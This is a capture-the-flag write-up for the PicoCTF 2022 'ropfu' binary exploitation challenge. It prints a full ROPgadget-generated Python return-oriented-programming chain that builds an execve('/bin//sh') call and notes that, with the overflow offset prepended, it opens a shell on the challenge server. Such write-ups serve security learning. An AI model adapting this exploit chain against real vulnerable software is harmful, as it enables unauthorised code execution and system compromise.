PicoCTF 2022 — Binary Exploitation: ropfu

Description

What’s ROP? Can you exploit the following program to get the flag? Download source. nc saturn.picoctf.net 50985

Solve

This challenged was solved by finding the offset of rip then using ROPgadget to generate a payload with the following:

$ ROPgadget --binary vuln --ropchain
ROP chain generation
==========================================================
<snip>
- Step 5 -- Build the ROP chain
    #!/usr/bin/env python2
    # execve generated by ROPgadget
    from struct import pack
    # Padding goes here
    p = ''
    p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
    p += pack('<I', 0x080e5060) # @ .data
    p += pack('<I', 0x41414141) # padding
    p += pack('<I', 0x080b074a) # pop eax ; ret
    p += '/bin'
    p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
    p += pack('<I', 0x080e5064) # @ .data + 4
    p += pack('<I', 0x41414141) # padding
    p += pack('<I', 0x080b074a) # pop eax ; ret
    p += '//sh'
    p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
    p += pack('<I', 0x080e5068) # @ .data + 8
    p += pack('<I', 0x41414141) # padding
    p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
    p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
    p += pack('<I', 0x08049022) # pop ebx ; ret
    p += pack('<I', 0x080e5060) # @ .data
    p += pack('<I', 0x08049e39) # pop ecx ; ret
    p += pack('<I', 0x080e5068) # @ .data + 8
    p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
    p += pack('<I', 0x080e5068) # @ .data + 8
    p += pack('<I', 0x080e5060) # padding without overwrite ebx
    p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
    p += pack('<I', 0x0808055e) # inc eax ; ret
    p += pack('<I', 0x0808055e) # inc eax ; ret
    p += pack('<I', 0x0808055e) # inc eax ; ret
    p += pack('<I', 0x0808055e) # inc eax ; ret
    p += pack('<I', 0x0808055e) # inc eax ; ret
    p += pack('<I', 0x0808055e) # inc eax ; ret
    p += pack('<I', 0x0808055e) # inc eax ; ret
    p += pack('<I', 0x0808055e) # inc eax ; ret
    p += pack('<I', 0x0808055e) # inc eax ; ret
    p += pack('<I', 0x0808055e) # inc eax ; ret
    p += pack('<I', 0x0808055e) # inc eax ; ret
    p += pack('<I', 0x0804a3d2) # int 0x80

This payload is then added to out script with the offset prepended to get a shell on the CTF server

Script

See the full solve script here -> solve.py